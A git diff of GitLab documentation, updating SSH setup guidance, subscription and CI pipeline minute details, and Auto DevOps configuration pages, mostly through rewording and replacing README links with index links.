+ `user_2.gitlab.com`. Advanced configurations
+ are more difficult to maintain, and these strings are easier to
+ understand when you use tools like `git remote`.
+- For the `IdentityFile`, use the path the private key.
+
+```conf
+# User1 Account Identity
+Host <user_1.gitlab.com>
+ Hostname gitlab.com
+ PreferredAuthentications publickey
+ IdentityFile ~/.ssh/<example_ssh_key1>
+
+# User2 Account Identity
+Host <user_2.gitlab.com>
+ Hostname gitlab.com
+ PreferredAuthentications publickey
+ IdentityFile ~/.ssh/<example_ssh_key2>
+```
+
+Now, to clone a repository for `user_1`, use `user_1.gitlab.com` in the `git clone` command:
+
+```shell
+git clone git@<user_1.gitlab.com>:gitlab-org/gitlab.git
+```
+
+To update a previously-cloned repository that is aliased as `origin`:
+
+```shell
+git remote set-url origin git@<user_1.gitlab.com>:gitlab-org/gitlab.git
+```
+
+NOTE:
+Private and public keys contain sensitive data. Ensure the permissions
+on the files make them readable to you but not accessible to others.
+
+## Configure two-factor authentication (2FA)
+
+You can set up two-factor authentication (2FA) for
+[Git over SSH](../security/two_factor_authentication.md#two-factor-authentication-2fa-for-git-over-ssh-operations).
+
+## Use EGit on Eclipse
+
+If you are using [EGit](https://www.eclipse.org/egit/), you can [add your SSH key to Eclipse](https://wiki.eclipse.org/EGit/User_Guide#Eclipse_SSH_Configuration).
+
+## Use SSH on Microsoft Windows
+
+If you're running Windows 10, you can either use the [Windows Subsystem for Linux (WSL)](https://docs.microsoft.com/en-us/windows/wsl/install-win10)
+with [WSL 2](https://docs.microsoft.com/en-us/windows/wsl/install-win10#update-to-wsl-2) which
+has both `git` and `ssh` preinstalled, or install [Git for Windows](https://gitforwindows.org) to
+use SSH through Powershell.
+
+The SSH key generated in WSL is not directly available for Git for Windows, and vice versa,
+as both have a different home directory:
+
+- WSL: `/home/<user>`
+- Git for Windows: `C:\Users\<user>`
+
+You can either copy over the `.ssh/` directory to use the same key, or generate a key in each environment.
+
+Alternative tools include:
+
+- [Cygwin](https://www.cygwin.com)
+- [PuttyGen](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html)
+
+## Overriding SSH settings on the GitLab server
+
+GitLab integrates with the system-installed SSH daemon and designates a user
+(typically named `git`) through which all access requests are handled. Users
+who connect to the GitLab server over SSH are identified by their SSH key instead
+of their username.
+
+SSH *client* operations performed on the GitLab server are executed as this
+user. You can modify this SSH configuration. For example, you can specify
+a private SSH key for this user to use for authentication requests. However, this practice
+is **not supported** and is strongly discouraged as it presents significant
+security risks.
+
+GitLab checks for this condition, and directs you
+to this section if your server is configured this way. For example:
+
+```shell
+$ gitlab-rake gitlab:check
+
+Git user has default SSH configuration? ... no
+ Try fixing it:
+ mkdir ~/gitlab-check-backup-1504540051
+ sudo mv /var/lib/git/.ssh/id_rsa ~/gitlab-check-backup-1504540051
+ sudo mv /var/lib/git/.ssh/id_rsa.pub ~/gitlab-check-backup-1504540051
+ For more information see:
+ [Overriding SSH settings on the GitLab server](#overriding-ssh-settings-on-the-gitlab-server)
+ Please fix the error above and rerun the checks.
+```
+
+Remove the custom configuration as soon as you can. These customizations
+are **explicitly not supported** and may stop working at any time.
+
+## Troubleshooting SSH connections
+
+When you run `git clone`, you may be prompted for a password, like `git@gitlab.example.com's password:`.
+This indicates that something is wrong with your SSH setup.
+
+- Ensure that you generated your SSH key pair correctly and added the public SSH
+ key to your GitLab profile.
+- Try to manually register your private SSH key by using `ssh-agent`.
+- Try to debug the connection by running `ssh -Tv git@example.com`.
+ Replace `example.com` with your GitLab URL.
diff --git a/doc/subscriptions/bronze_starter.md b/doc/subscriptions/bronze_starter.md
index 66ab61e48b8..410759aa506 100644
--- a/doc/subscriptions/bronze_starter.md
+++ b/doc/subscriptions/bronze_starter.md
@@ -16,7 +16,7 @@ The following features remain available to Bronze and Starter customers, even th
the tiers are no longer mentioned in GitLab documentation:
- [Activate GitLab EE with a license](../user/admin_area/license.md)
-- [Adding a help message to the login page](../user/admin_area/settings/help_page.md#adding-a-help-message-to-the-login-page)
+- [Add a help message to the sign-in page](../user/admin_area/settings/help_page.md#add-a-help-message-to-the-sign-in-page)
- [Burndown and burnup charts](../user/project/milestones/burndown_and_burnup_charts.md),
including [per-project charts](../user/project/milestones/index.md#project-burndown-charts) and
[per-group charts](../user/project/milestones/index.md#group-burndown-charts)
@@ -72,7 +72,7 @@ the tiers are no longer mentioned in GitLab documentation:
- [Required Approvals](../user/project/merge_requests/approvals/index.md#required-approvals)
- [Code Owners as eligible approvers](../user/project/merge_requests/approvals/rules.md#code-owners-as-eligible-approvers)
- [Approval rules](../user/project/merge_requests/approvals/rules.md) features
- - [Restricting push and merge access to certain users](../user/project/protected_branches.md#restricting-push-and-merge-access-to-certain-users)
+ - [Restricting push and merge access to certain users](../user/project/protected_branches.md)
- [Visual Reviews](../ci/review_apps/index.md#visual-reviews)
- Metrics and analytics:
- [Contribution Analytics](../user/group/contribution_analytics/index.md)
@@ -89,16 +89,16 @@ the tiers are no longer mentioned in GitLab documentation:
- Repositories:
- [Repository size limit](../user/admin_area/settings/account_and_limit_settings.md#repository-size-limit)
- Repository mirroring:
- - [Pull mirroring](../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository) outside repositories in a GitLab repository
+ - [Pull mirroring](../user/project/repository/repository_mirroring.md#pull-from-a-remote-repository) outside repositories in a GitLab repository
- [Overwrite diverged branches](../user/project/repository/repository_mirroring.md#overwrite-diverged-branches)
- [Trigger pipelines for mirror updates](../user/project/repository/repository_mirroring.md#trigger-pipelines-for-mirror-updates)
- [Hard failures](../user/project/repository/repository_mirroring.md#hard-failure) when mirroring fails
- [Trigger pull mirroring from the API](../user/project/repository/repository_mirroring.md#trigger-an-update-using-the-api)
- [Mirror only protected branches](../user/project/repository/repository_mirroring.md#mirror-only-protected-branches)
- [Bidirectional mirroring](../user/project/repository/repository_mirroring.md#bidirectional-mirroring)
- - [Mirroring with Perforce Helix via Git Fusion](../user/project/repository/repository_mirroring.md#mirroring-with-perforce-helix-via-git-fusion)
+ - [Mirror with Perforce Helix via Git Fusion](../user/project/repository/repository_mirroring.md#mirror-with-perforce-helix-via-git-fusion)
- Runners:
- - Run pipelines in the parent project [for merge requests from a forked project](../ci/merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project)
+ - Run pipelines in the parent project [for merge requests from a forked project](../ci/pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project)
- [Shared runners pipeline minutes quota](../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota)
- [Push rules](../push_rules/push_rules.md)
- SAML for self-managed GitLab instance:
diff --git a/doc/subscriptions/gitlab_com/index.md b/doc/subscriptions/gitlab_com/index.md
index 552f0e28d95..fad415807bd 100644
--- a/doc/subscriptions/gitlab_com/index.md
+++ b/doc/subscriptions/gitlab_com/index.md
@@ -7,9 +7,9 @@ type: index, reference
# GitLab SaaS subscription **(PREMIUM SAAS)**
-GitLab SaaS is the GitLab software-as-a-service offering. You don't need to
-install anything to use GitLab SaaS, you only need to
-[sign up](https://gitlab.com/users/sign_up) and start using GitLab straight away.
+GitLab SaaS is the GitLab software-as-a-service offering, which is available at GitLab.com.
+You don't need to install anything to use GitLab SaaS, you only need to
+[sign up](https://gitlab.com/users/sign_up).
This page reviews the details of your GitLab SaaS subscription.
@@ -272,14 +272,33 @@ If you add a member to a group by using the [share a group with another group](.
## CI pipeline minutes
-CI pipeline minutes are the execution time for your
-[pipelines](../../ci/pipelines/index.md) on GitLab shared runners. Each
-[GitLab SaaS tier](https://about.gitlab.com/pricing/) includes a monthly quota
-of CI pipeline minutes:
-
-- Free: 400 minutes
-- Premium: 10,000 minutes
-- Ultimate: 50,000 minutes
+CI pipeline minutes are the execution time for your [pipelines](../../ci/pipelines/index.md)
+on GitLab shared runners. Each [GitLab SaaS tier](https://about.gitlab.com/pricing/)
+includes a monthly quota of CI pipeline minutes for private and public projects in
+the namespace:
+
+| Plan | CI pipeline minutes |
+|----------|---------------------|
+| Free | 400 |
+| Premium | 10,000 |
+| Ultimate | 50,000 |
+
+The consumption rate for CI pipeline minutes is based on the visibility of the projects:
+
+- Private projects in the namespace consume pipeline minutes at a rate of 1 CI pipeline minute
+ per 1 minute of execution time on GitLab shared runners.
+- Public projects in:
+ - Namespaces [created on or after 2021-07-17](https://gitlab.com/gitlab-org/gitlab/-/issues/332708)
+ consume pipeline minutes at a slower rate, 1 CI pipeline minute per 125 minutes
+ of execution time on GitLab shared runners. The per-minute rate for public projects
+ is 0.008 CI pipeline minutes per 1 minute of execution time on GitLab shared runners.
+ - Namespaces created before 2021-07-17 do not consume CI pipeline minutes.
+
+| Plan | CI pipeline minutes | Maximum **private** project execution time (all namespaces) | Maximum **public** project execution time (namespaces created 2021-07-17 and later) |
+|----------|---------------------|-------------------------------------------------------------|-------------------------------------------------------------------------------------|
+| Free | 400 | 400 minutes | 50,000 minutes |
+| Premium | 10,000 | 10,000 minutes | 1,250,000 minutes |
+| Ultimate | 50,000 | 50,000 minutes | 6,250,000 minutes |
Quotas apply to:
diff --git a/doc/subscriptions/index.md b/doc/subscriptions/index.md
index 575ddd5462e..b6aa2d09770 100644
--- a/doc/subscriptions/index.md
+++ b/doc/subscriptions/index.md
@@ -184,7 +184,7 @@ For qualifying open source projects, the [GitLab for Open Source](https://about.
the top GitLab tier, plus 50,000 CI minutes per month.
You can find more information about the [program requirements](https://about.gitlab.com/solutions/open-source/join/#requirements),
-[renewals](https://about.gitlab.com/solutions/open-source/join/$renewals),
+[renewals](https://about.gitlab.com/solutions/open-source/join/#renewals),
and benefits on the [GitLab for Open Source application page](https://about.gitlab.com/solutions/open-source/join/).
If you have any questions, send an email to `opensource@gitlab.com` for assistance.
@@ -209,13 +209,13 @@ You must ensure that you add the correct license to each project within your gro
After you ensure that you are using OSI-approved licenses for your projects, you can take your screenshots.
-###### Screenshot 1: License overview
+##### Screenshot 1: License overview
On the left sidebar, select **Project information > Details**. Take a screenshot that includes a view of the license you've chosen for your project.
![License overview](img/license-overview.png)
-###### Screenshot 2: License file
+##### Screenshot 2: License file
Navigate to one of the license files that you uploaded. You can usually find the license file by selecting **Project information > Details** and scanning the page for the license.
Make sure the screenshot includes the title of the license.
diff --git a/doc/subscriptions/self_managed/index.md b/doc/subscriptions/self_managed/index.md
index c4484ea609f..2f3d705c1fe 100644
--- a/doc/subscriptions/self_managed/index.md
+++ b/doc/subscriptions/self_managed/index.md
@@ -39,7 +39,7 @@ for each tier, see the
A GitLab self-managed subscription uses a hybrid model. You pay for a subscription
according to the maximum number of users enabled during the subscription period.
-For instances that aren't offline or on a closed network, the maximum number of
+For instances that are offline or on a closed network, the maximum number of
simultaneous users in the GitLab self-managed installation is checked each quarter,
using [Seat Link](#seat-link).
diff --git a/doc/topics/authentication/index.md b/doc/topics/authentication/index.md
index 4181e32fcf2..83c9e180c1c 100644
--- a/doc/topics/authentication/index.md
+++ b/doc/topics/authentication/index.md
@@ -10,7 +10,7 @@ This page gathers all the resources for the topic **Authentication** within GitL
## GitLab users
-- [SSH](../../ssh/README.md)
+- [SSH](../../ssh/index.md)
- [Two-Factor Authentication (2FA)](../../user/profile/account/two_factor_authentication.md#two-factor-authentication)
- [Why do I keep getting signed out?](../../user/profile/index.md#why-do-i-keep-getting-signed-out)
- **Articles:**
@@ -39,10 +39,10 @@ This page gathers all the resources for the topic **Authentication** within GitL
## API
-- [OAuth 2 Tokens](../../api/README.md#oauth2-tokens)
-- [Personal access tokens](../../api/README.md#personalproject-access-tokens)
-- [Project access tokens](../../api/README.md#personalproject-access-tokens)
-- [Impersonation tokens](../../api/README.md#impersonation-tokens)
+- [OAuth 2 Tokens](../../api/index.md#oauth2-tokens)
+- [Personal access tokens](../../api/index.md#personalproject-access-tokens)
+- [Project access tokens](../../api/index.md#personalproject-access-tokens)
+- [Impersonation tokens](../../api/index.md#impersonation-tokens)
- [GitLab as an OAuth2 provider](../../api/oauth2.md#gitlab-as-an-oauth2-provider)
## Third-party resources
diff --git a/doc/topics/autodevops/customize.md b/doc/topics/autodevops/customize.md
index 42c54961c1d..8f48b1fc57a 100644
--- a/doc/topics/autodevops/customize.md
+++ b/doc/topics/autodevops/customize.md
@@ -146,7 +146,7 @@ repository or by specifying a project CI/CD variable:
file in it, Auto DevOps detects the chart and uses it instead of the
[default chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app), enabling
you to control exactly how your application is deployed.
-- **Project variable** - Create a [project CI/CD variable](../../ci/variables/README.md)
+- **Project variable** - Create a [project CI/CD variable](../../ci/variables/index.md)
`AUTO_DEVOPS_CHART` with the URL of a custom chart to use, or create two project
variables: `AUTO_DEVOPS_CHART_REPOSITORY` with the URL of a custom chart repository,
and `AUTO_DEVOPS_CHART` with the path to the chart.
@@ -181,17 +181,17 @@ list of options.
## Custom Helm chart per environment
You can specify the use of a custom Helm chart per environment by scoping the CI/CD variable
-to the desired environment. See [Limit environment scope of CI/CD variables](../../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable).
+to the desired environment. See [Limit environment scope of CI/CD variables](../../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable).
## Customizing `.gitlab-ci.yml`
Auto DevOps is completely customizable because the
[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
-is just an implementation of a [`.gitlab-ci.yml`](../../ci/yaml/README.md) file,
+is just an implementation of a [`.gitlab-ci.yml`](../../ci/yaml/index.md) file,
and uses only features available to any implementation of `.gitlab-ci.yml`.
To modify the CI/CD pipeline used by Auto DevOps,
-[`include` the template](../../ci/yaml/README.md#includetemplate), and customize
+[`include` the template](../../ci/yaml/index.md#includetemplate), and customize
it as needed by adding a `.gitlab-ci.yml` file to the root of your repository
containing the following:
@@ -202,7 +202,7 @@ include:
Add your changes, and your additions are merged with the
[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
-using the behavior described for [`include`](../../ci/yaml/README.md#include).
+using the behavior described for [`include`](../../ci/yaml/index.md#include).
If you need to specifically remove a part of the file, you can also copy and paste the contents of the
[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
@@ -254,13 +254,13 @@ include:
See the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) for information on available jobs.
WARNING:
-Auto DevOps templates using the [`only`](../../ci/yaml/README.md#only--except) or
-[`except`](../../ci/yaml/README.md#only--except) syntax have switched
-to the [`rules`](../../ci/yaml/README.md#rules) syntax, starting in
+Auto DevOps templates using the [`only`](../../ci/yaml/index.md#only--except) or
+[`except`](../../ci/yaml/index.md#only--except) syntax have switched
+to the [`rules`](../../ci/yaml/index.md#rules) syntax, starting in
[GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213336).
If your `.gitlab-ci.yml` extends these Auto DevOps templates and override the `only` or
`except` keywords, you must migrate your templates to use the
-[`rules`](../../ci/yaml/README.md#rules) syntax after the
+[`rules`](../../ci/yaml/index.md#rules) syntax after the
base template is migrated to use the `rules` syntax.
For users who cannot migrate just yet, you can alternatively pin your templates to
the [GitLab 12.10 based templates](https://gitlab.com/gitlab-org/auto-devops-v12-10).
@@ -314,6 +314,19 @@ The version of the chart used to provision PostgreSQL:
GitLab encourages users to [migrate their database](upgrading_postgresql.md)
to the newer PostgreSQL.
+### Customize values for PostgreSQL Helm Chart
+
+> [Introduced](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/issues/113) in auto-deploy-image v2, in GitLab 13.8.
+
+To set custom values, do one of the following:
+
+- Add a file named `.gitlab/auto-deploy-postgres-values.yaml` to your repository. If found, this
+ file is used automatically. This file is used by default for PostgreSQL Helm upgrades.
+- Add a file with a different name or path to the repository, and set the
+ `POSTGRES_HELM_UPGRADE_VALUES_FILE` [environment variable](#database) with the path
+ and name.
+- Set the `POSTGRES_HELM_UPGRADE_EXTRA_ARGS` [environment variable](#database).
+
### Using external PostgreSQL database providers
While Auto DevOps provides out-of-the-box support for a PostgreSQL container for
@@ -378,7 +391,7 @@ applications.
| `HELM_UPGRADE_EXTRA_ARGS` | From GitLab 11.11, allows extra options in `helm upgrade` commands when deploying the application. Note that using quotes doesn't prevent word splitting. |
| `INCREMENTAL_ROLLOUT_MODE` | From GitLab 11.4, if present, can be used to enable an [incremental rollout](#incremental-rollout-to-production) of your application for the production environment. Set to `manual` for manual deployment jobs or `timed` for automatic rollout deployments with a 5 minute delay each one. |
| `K8S_SECRET_*` | From GitLab 11.7, any variable prefixed with [`K8S_SECRET_`](#application-secret-variables) is made available by Auto DevOps as environment variables to the deployed application. |
-| `KUBE_INGRESS_BASE_DOMAIN` | From GitLab 11.8, can be used to set a domain per cluster. See [cluster domains](../../user/project/clusters/index.md#base-domain) for more information. |
+| `KUBE_INGRESS_BASE_DOMAIN` | From GitLab 11.8, can be used to set a domain per cluster. See [cluster domains](../../user/project/clusters/gitlab_managed_clusters.md#base-domain) for more information. |
| `PRODUCTION_REPLICAS` | Number of replicas to deploy in the production environment. Takes precedence over `REPLICAS` and defaults to 1. For zero downtime upgrades, set to 2 or greater. |
| `REPLICAS` | Number of replicas to deploy. Defaults to 1. |
| `ROLLOUT_RESOURCE_TYPE` | From GitLab 11.9, allows specification of the resource type being deployed when using a custom Helm chart. Default value is `deployment`. |
@@ -387,7 +400,7 @@ applications.
NOTE:
After you set up your replica variables using a
-[project CI/CD variable](../../ci/variables/README.md),
+[project CI/CD variable](../../ci/variables/index.md),
you can scale your application by redeploying it.
WARNING:
@@ -406,8 +419,10 @@ The following table lists CI/CD variables related to the database.
| `POSTGRES_ENABLED` | Whether PostgreSQL is enabled. Defaults to `true`. Set to `false` to disable the automatic deployment of PostgreSQL. |
| `POSTGRES_USER` | The PostgreSQL user. Defaults to `user`. Set it to use a custom username. |
| `POSTGRES_PASSWORD` | The PostgreSQL password. Defaults to `testing-password`. Set it to use a custom password. |
-| `POSTGRES_DB` | The PostgreSQL database name. Defaults to the value of [`$CI_ENVIRONMENT_SLUG`](../../ci/variables/README.md#predefined-cicd-variables). Set it to use a custom database name. |
+| `POSTGRES_DB` | The PostgreSQL database name. Defaults to the value of [`$CI_ENVIRONMENT_SLUG`](../../ci/variables/index.md#predefined-cicd-variables). Set it to use a custom database name. |
| `POSTGRES_VERSION` | Tag for the [`postgres` Docker image](https://hub.docker.com/_/postgres) to use. Defaults to `9.6.16` for tests and deployments as of GitLab 13.0 (previously `9.6.2`). If `AUTO_DEVOPS_POSTGRES_CHANNEL` is set to `1`, deployments uses the default version `9.6.2`. |
+| `POSTGRES_HELM_UPGRADE_VALUES_FILE` | In GitLab 13.8 and later, and when using [auto-deploy-image v2](upgrading_auto_deploy_dependencies.md), this variable allows the `helm upgrade` values file for PostgreSQL to be overridden. Defaults to `.gitlab/auto-deploy-postgres-values.yaml`. |
+| `POSTGRES_HELM_UPGRADE_EXTRA_ARGS` | In GitLab 13.8 and later, and when using [auto-deploy-image v2](upgrading_auto_deploy_dependencies.md), this variable allows extra PostgreSQL options in `helm upgrade` commands when deploying the application. Note that using quotes doesn't prevent word splitting. |
### Disable jobs
diff --git a/doc/topics/autodevops/index.md b/doc/topics/autodevops/index.md
index f2ce61044ef..beb5f6a58f6 100644
--- a/doc/topics/autodevops/index.md
+++ b/doc/topics/autodevops/index.md
@@ -9,9 +9,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - Introduced in GitLab 11.0 for general availability.
GitLab Auto DevOps helps to reduce the complexity of software delivery by
-setting up pipelines and integrations for you. Instead of requiring you to
-manually configure your entire GitLab environment, Auto DevOps configures
-many of these areas for you, including security auditing and vulnerability
+setting up pipelines and integrations for you. Auto DevOps configures
+GitLab CI/CD pipelines including security auditing and vulnerability
testing.
Using Auto DevOps, you can:
@@ -54,17 +53,17 @@ following levels:
| GitLab SaaS | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No |
| GitLab self-managed | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes |
-When you enable AutoDevOps for your instance, it attempts to run on all
-pipelines in each project, but will automatically disable itself for individual
+When you enable Auto DevOps for your instance, it attempts to run on all
+pipelines in each project. The Auto DevOps setting automatically disables itself for individual
projects on their first pipeline failure. An instance administrator can enable
or disable this default in the [Auto DevOps settings](../../user/admin_area/settings/continuous_integration.md#auto-devops).
-Since [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/issues/26655),
+[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26655) in GitLab 12.7,
Auto DevOps runs on pipelines automatically only if a [`Dockerfile` or matching buildpack](stages.md#auto-build)
exists.
-If a [CI/CD configuration file](../../ci/yaml/README.md) is present in the
-project, it isn't changed and won't be affected by Auto DevOps.
+If a [CI/CD configuration file](../../ci/yaml/index.md) is present in the
+project, it remains unchanged and Auto DevOps doesn't affect it.
### At the project level
@@ -80,7 +79,7 @@ To enable it:
and choose the [deployment strategy](#deployment-strategy).
1. Click **Save changes** for the changes to take effect.
-After enabling the feature, an Auto DevOps pipeline is triggered on the `master` branch.
+After enabling the feature, an Auto DevOps pipeline is triggered on the default branch.
### At the group level
@@ -88,9 +87,8 @@ After enabling the feature, an Auto DevOps pipeline is triggered on the `master`
Only administrators and group owners can enable or disable Auto DevOps at the group level.
-When enabling or disabling Auto DevOps at group level, group configuration is
-implicitly used for the subgroups and projects inside that group, unless Auto DevOps
-is specifically enabled or disabled on the subgroup or project.
+When you enable Auto DevOps at group level, the subgroups and projects in that group inherit the configuration. Auto DevOps
+can be specifically enabled or disabled individually for projects and subgroups.
To enable or disable Auto DevOps at the group level:
@@ -103,7 +101,8 @@ To enable or disable Auto DevOps at the group level:
Even when disabled at the instance level, group owners and project maintainers
can still enable Auto DevOps at the group and project level, respectively.
-1. As an administrator, go to **Admin Area > Settings > CI/CD > Continuous Integration and Deployment**.
+1. As an administrator, on the top bar, select **Menu >** **{admin}** **Admin**.
+1. Go to **Settings > CI/CD > Continuous Integration and Deployment**.
1. Select **Default to Auto DevOps pipeline for all projects** to enable it.
1. (Optional) You can set up the Auto DevOps [base domain](#auto-devops-base-domain),
for Auto Deploy and Auto Review Apps to use.
@@ -118,7 +117,7 @@ project's **Settings > CI/CD > Auto DevOps**. The following options
are available:
- **Continuous deployment to production**: Enables [Auto Deploy](stages.md#auto-deploy)
- with `master` branch directly deployed to production.
+ with the default branch directly deployed to production.
- **Continuous deployment to production using timed incremental rollout**: Sets the
[`INCREMENTAL_ROLLOUT_MODE`](customize.md#timed-incremental-rollout-to-production) variable
to `timed`. Production deployments execute with a 5 minute delay between
@@ -128,7 +127,7 @@ are available:
[`INCREMENTAL_ROLLOUT_MODE`](customize.md#incremental-rollout-to-production) variables
to `1` and `manual`. This means:
- - `master` branch is directly deployed to staging.
+ - The default branch is directly deployed to staging.
- Manual actions are provided for incremental rollout to production.
NOTE:
@@ -137,12 +136,12 @@ to minimize downtime and risk.
## Quick start
-If you're using GitLab.com, see the [quick start guide](quick_start_guide.md)
-for setting up Auto DevOps with GitLab.com and a Kubernetes cluster on Google Kubernetes
+For GitLab.com users, see the [quick start guide](quick_start_guide.md)
+for setting up Auto DevOps deploying to a Kubernetes cluster on Google Kubernetes
Engine (GKE).
If you use a self-managed instance of GitLab, you must configure the
-[Google OAuth2 OmniAuth Provider](../../integration/google.md) before
+[Google OAuth 2.0 OmniAuth Provider](../../integration/google.md) before
configuring a cluster on GKE. After configuring the provider, you can follow
the steps in the [quick start guide](quick_start_guide.md) to get started.
@@ -173,7 +172,7 @@ NOTE:
Depending on your target platform, some features might not be available to you.
Comprised of a set of [stages](stages.md), Auto DevOps brings these best practices to your
-project in a simple and automatic way:
+project automatically:
- [Auto Browser Performance Testing](stages.md#auto-browser-performance-testing)
- [Auto Build](stages.md#auto-build)
@@ -222,18 +221,17 @@ The Auto DevOps base domain is required to use
[Auto Monitoring](stages.md#auto-monitoring). You can define the base domain in
any of the following places:
-- either under the cluster's settings, whether for an instance,
- [projects](../../user/project/clusters/index.md#base-domain) or
+- Either under the cluster's settings, whether for an instance,
+ [projects](../../user/project/clusters/gitlab_managed_clusters.md#base-domain) or
[groups](../../user/group/clusters/index.md#base-domain)
-- or at the project level as a variable: `KUBE_INGRESS_BASE_DOMAIN`
-- or at the group level as a variable: `KUBE_INGRESS_BASE_DOMAIN`
-- or as an instance-wide fallback in **Admin Area > Settings > CI/CD** under the
- **Continuous Integration and Delivery** section
+- Or at the project level as a variable: `KUBE_INGRESS_BASE_DOMAIN`
+- Or at the group level as a variable: `KUBE_INGRESS_BASE_DOMAIN`
+- Or as an instance-wide fallback in **Menu >** **{admin}** **Admin >**
+ **Settings > CI/CD** under the **Continuous Integration and Delivery** section.
The base domain variable `KUBE_INGRESS_BASE_DOMAIN` follows the same order of precedence
-as other environment [variables](../../ci/variables/README.md#cicd-variable-precedence).
-If the CI/CD variable is not set and the cluster setting is left blank, the instance-wide **Auto DevOps domain**
-setting is used if set.
+as other environment [variables](../../ci/variables/index.md#cicd-variable-precedence).
+If this variable isn't set and the cluster setting is left blank, the instance-wide domain is used if set for your instance.
Auto DevOps requires a wildcard DNS A record matching the base domain(s). For
a base domain of `example.com`, you'd need a DNS entry like:
@@ -258,14 +256,14 @@ to the Kubernetes pods running your application.
See [Auto DevOps requirements for Amazon ECS](requirements.md#auto-devops-requirements-for-amazon-ecs).
-## Using multiple Kubernetes clusters
+## Use multiple Kubernetes clusters
When using Auto DevOps, you can deploy different environments to
different Kubernetes clusters, due to the 1:1 connection
-[existing between them](../../user/project/clusters/index.md#multiple-kubernetes-clusters).
+[existing between them](../../user/project/clusters/multiple_kubernetes_clusters.md).
The [Deploy Job template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml)
-used by Auto DevOps currently defines 3 environment names:
+used by Auto DevOps defines 3 environment names:
- `review/` (every environment starting with `review/`)
- `staging`
@@ -274,7 +272,7 @@ used by Auto DevOps currently defines 3 environment names:
Those environments are tied to jobs using [Auto Deploy](stages.md#auto-deploy), so
except for the environment scope, they must have a different deployment domain.
You must define a separate `KUBE_INGRESS_BASE_DOMAIN` variable for each of the above
-[based on the environment](../../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable).
+[based on the environment](../../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable).
The following table is an example of how to configure the three different clusters:
@@ -296,8 +294,8 @@ To add a different cluster for each environment:
1. Navigate to each cluster's page, through **Infrastructure > Kubernetes clusters**,
and add the domain based on its Ingress IP address.
-After completing configuration, you can test your setup by creating a merge request
-and verifying your application is deployed as a Review App in the Kubernetes
+After completing configuration, test your setup by creating a merge request.
+Verify whether your application deployed as a Review App in the Kubernetes
cluster with the `review/*` environment scope. Similarly, you can check the
other environments.
@@ -337,5 +335,23 @@ spec:
value: "PUT_YOUR_HTTPS_PROXY_HERE"
```
+## Upgrade Auto DevOps dependencies when updating GitLab
+
+When updating GitLab, you may need to upgrade Auto DevOps dependencies to
+match your new GitLab version:
+
+- [Upgrading Auto DevOps resources](upgrading_auto_deploy_dependencies.md):
+ - Auto DevOps template.
+ - Auto Deploy template.
+ - Auto Deploy image.
+ - Helm.
+ - Kubernetes.
+ - Environment variables.
+- [Upgrading PostgreSQL](upgrading_postgresql.md).
+
+## Troubleshooting
+
+See [troubleshooting Auto DevOps](troubleshooting.md).
+
<!-- DO NOT ADD TROUBLESHOOTING INFO HERE -->
<!-- Troubleshooting information has moved to troubleshooting.md -->
diff --git a/doc/topics/autodevops/quick_start_guide.md b/doc/topics/autodevops/quick_start_guide.md
index 448e9526b88..196f6dec7e7 100644
--- a/doc/topics/autodevops/quick_start_guide.md
+++ b/doc/topics/autodevops/quick_start_guide.md
@@ -14,7 +14,7 @@ to create a Kubernetes cluster manually using the Google Cloud Platform console.
You are creating and deploying a simple application that you create from a GitLab template.
These instructions also work for a self-managed GitLab instance;
-ensure your own [runners are configured](../../ci/runners/README.md) and
+ensure your own [runners are configured](../../ci/runners/index.md) and
[Google OAuth is enabled](../../integration/google.md).
## Configure your Google account
@@ -131,7 +131,7 @@ Follow these steps to configure the Base Domain where your apps will be accessib
1. A few minutes after you install NGINX, the load balancer obtains an IP address, and you can
get the external IP address with the following command:
-
+
```shell
kubectl get service ingress-nginx-ingress-controller -n gitlab-managed-apps -ojson | jq -r '.status.loadBalancer.ingress[].ip'
```
@@ -155,7 +155,7 @@ these steps to enable Auto DevOps if it's disabled:
1. Navigate to **Settings > CI/CD > Auto DevOps**, and click **Expand**.
1. Select **Default to Auto DevOps pipeline** to display more options.
1. In **Deployment strategy**, select your desired [continuous deployment strategy](index.md#deployment-strategy)
- to deploy the application to production after the pipeline successfully runs on the `master` branch.
+ to deploy the application to production after the pipeline successfully runs on the default branch.
1. Click **Save changes**.
![Auto DevOps settings](img/guide_enable_autodevops_v12_3.png)
@@ -199,7 +199,7 @@ The jobs are separated into stages:
licenses and is allowed to fail
([Auto License Compliance](stages.md#auto-license-compliance)) **(ULTIMATE)**
-- **Review** - Pipelines on `master` include this stage with a `dast_environment_deploy` job.
+- **Review** - Pipelines on the default branch include this stage with a `dast_environment_deploy` job.
To learn more, see [Dynamic Application Security Testing (DAST)](../../user/application_security/dast/index.md).
- **Production** - After the tests and checks finish, the application deploys in
@@ -208,7 +208,7 @@ The jobs are separated into stages:
- **Performance** - Performance tests are run on the deployed application
